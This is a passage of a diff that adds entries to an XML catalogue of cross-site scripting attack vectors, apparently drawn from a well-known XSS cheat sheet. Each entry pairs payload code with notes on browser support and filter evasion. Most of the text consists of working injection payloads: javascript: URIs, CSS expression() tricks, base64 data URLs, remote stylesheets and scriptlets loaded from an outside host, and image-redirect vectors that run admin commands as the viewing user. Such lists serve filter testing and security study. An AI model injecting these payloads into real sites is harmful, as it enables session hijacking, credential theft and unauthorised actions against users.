+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>DIV expression</name> 
+               <code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code> 
+               <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>FRAME</name> 
+               <code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code> 
+               <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IFRAME</name> 
+               <code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code> 
+               <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>INPUT Image</name> 
+               <code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>INPUT Image</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>     
+       </attack> 
+       <attack> 
+               <name>IMG w/JavaScript Directive</name> 
+               <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Image XSS using the JavaScript directive.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG No Quotes/Semicolon</name> 
+               <code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code> 
+               <desc>No quotes and no semicolon</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG Dynsrc</name> 
+               <code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>IMG Dynsrc</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG Lowsrc</name> 
+               <code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>IMG Lowsrc</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG Embedded commands 1</name> 
+               <code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code> 
+               <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS vectors.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG Embedded commands 2</name> 
+               <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code> 
+               <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG STYLE w/expression</name> 
+               <code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
+xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code> 
+               <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>List-style-image</name> 
+               <code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code> 
+               <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>IMG w/VBscript</name> 
+               <code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code> 
+               <desc>VBscript in an image</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>LAYER</name> 
+               <code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code> 
+               <desc>Layer (Older Netscape only)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Livescript</name> 
+               <code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code> 
+               <desc>Livescript (Older Netscape only)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>US-ASCII encoding</name> 
+               <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 
+               <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8.  This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>META</name> 
+               <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>META w/data:URL</name> 
+               <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code> 
+               <desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>META w/additional URL parameter</name> 
+               <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Mocha</name> 
+               <code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code> 
+               <desc>Mocha (Older Netscape only)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>OBJECT</name> 
+               <code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code> 
+               <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>OBJECT w/Embedded XSS</name> 
+               <code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code> 
+               <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support:</browser> 
+       </attack> 
+       <attack> 
+               <name>Embed Flash</name> 
+               <code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code> 
+               <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>OBJECT w/Flash 2</name> 
+               <code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code> 
+               <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE</name> 
+               <code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code> 
+               <desc>STYLE tag (Older versions of Netscape only)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE w/Comment</name> 
+               <code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+               <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE w/Anonymous HTML</name> 
+               <code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+               <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE w/background-image</name> 
+               <code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code> 
+               <desc>STYLE tag using background-image.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE w/background</name> 
+               <code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code> 
+               <desc>STYLE tag using background.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Stylesheet</name> 
+               <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Stylesheet</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Remote Stylesheet 1</name> 
+               <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code> 
+               <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Remote Stylesheet 2</name> 
+               <code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code> 
+               <desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Remote Stylesheet 3</name> 
+               <code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code> 
+               <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Remote Stylesheet 4</name> 
+               <code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code> 
+               <desc>Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>TABLE</name> 
+               <code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code> 
+               <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>TD</name> 
+               <code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code> 
+               <desc>TD background.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XML namespace</name> 
+               <code>&lt;HTML xmlns:xss&gt;
+&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;
+&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;
+&lt;/HTML&gt;</code> 
+               <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 
+               <label>HTML Element Attacks</label> 
